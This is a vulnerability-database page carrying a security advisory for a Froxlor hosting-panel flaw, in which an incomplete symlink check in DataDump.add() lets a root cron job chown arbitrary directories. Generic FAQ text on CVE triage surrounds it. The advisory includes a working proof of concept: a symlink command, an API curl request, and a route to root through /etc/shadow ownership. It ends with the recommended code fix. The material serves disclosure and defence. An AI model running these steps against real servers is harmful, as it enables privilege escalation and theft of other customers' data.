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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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355,754

Total vulnerabilities in the database

Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron — froxlor / froxlor

Improper Link Resolution Before File Access ('Link Following')

Summary

DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.

Details

The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).

Every customer-facing API command that builds a path from user input passes this parameter:

// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path, $customer[&#039;documentroot&#039;]);

// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path, $customer[&#039;documentroot&#039;]);

// Ftps.php:178
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path, $customer[&#039;documentroot&#039;]);

// SubDomains.php:585
return FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path, $customer[&#039;documentroot&#039;]);

But DataDump.add() was missed:

// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path);

The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):

Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);

When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:

FileDir::safe_exec(&#039;chown -R &#039; . (int)$data[&#039;uid&#039;] . &#039;:&#039; . (int)$data[&#039;gid&#039;] . &#039; &#039; . escapeshellarg($data[&#039;destdir&#039;]));

The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.

The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.

PoC

Prerequisites:

system.exportenabled = 1 (admin setting)
Customer account with API key and FTP/SSH access

# Step 1: Create a symlink inside the customer&#039;s docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server &#039;ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal&#039;

# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{&quot;header&quot;:{&quot;apikey&quot;:&quot;CUSTOMER_API_KEY&quot;,&quot;secret&quot;:&quot;CUSTOMER_API_SECRET&quot;},&quot;body&quot;:{&quot;command&quot;:&quot;DataDump.add&quot;,&quot;params&quot;:{&quot;path&quot;:&quot;steal&quot;,&quot;dump_web&quot;:&quot;1&quot;}}}&#039; \
  https://panel.example.com/api.php

# Expected response: 200 OK with task_data including destdir

# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
#   mkdir -p &#039;/var/customers/webs/attacker_customer/steal/&#039;       (follows symlink, dir exists)
#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker&#039;s web data)
#   chown -R &lt;attacker_uid&gt;:&lt;attacker_gid&gt; &#039;/var/customers/webs/attacker_customer/steal/.tmp/&#039;
#   mv export.tar.gz &#039;/var/customers/webs/attacker_customer/steal/&#039;
#   chown -R &lt;attacker_uid&gt;:&lt;attacker_gid&gt; &#039;/var/customers/webs/attacker_customer/steal/&#039;
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker&#039;s UID/GID.

# Step 4: Attacker now owns all of victim&#039;s web files
ssh customer@server &#039;ls -la /var/customers/webs/victim_customer/&#039;
# All files now owned by attacker_customer UID

# For system-level escalation, the symlink can target /etc:
# ln -s /etc /var/customers/webs/attacker_customer/steal
# After cron: attacker owns /etc/passwd, /etc/shadow → root shell

Impact

Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.
Vertical privilege escalation: By targeting system directories (e.g., /etc), the customer can gain read/write access to /etc/passwd and /etc/shadow, enabling creation of a root account or password modification.
Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.
Service disruption: Changing ownership of system directories can break system services.

The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.

Recommended Fix

Pass $customer['documentroot'] as the $fixed_homedir parameter in DataDump.add(), consistent with every other API command:

// lib/Froxlor/Api/Commands/DataDump.php, line 88
// Before (vulnerable):
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path);

// After (fixed):
$path = FileDir::makeCorrectDir($customer[&#039;documentroot&#039;] . &#039;/&#039; . $path, $customer[&#039;documentroot&#039;]);

Additionally, the ExportCron should use chown -h (no-dereference) or validate the destination path is not a symlink before executing chown -R:

// lib/Froxlor/Cron/System/ExportCron.php, line 232
// Add symlink check before chown
if (is_link(rtrim($data[&#039;destdir&#039;], &#039;/&#039;))) {
    $cronlog-&gt;logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, &#039;Export destination is a symlink, skipping chown for security: &#039; . $data[&#039;destdir&#039;]);
} else {
    FileDir::safe_exec(&#039;chown -R &#039; . (int)$data[&#039;uid&#039;] . &#039;:&#039; . (int)$data[&#039;gid&#039;] . &#039; &#039; . escapeshellarg($data[&#039;destdir&#039;]));
}

Published: Apr 16, 2026
Updated: Apr 16, 2026
GHSA: GHSA-75h4-c557-j89r
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-59

Affected Software
References

Software	From	Fixed in
froxlor / froxlor	-	2.3.6

https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.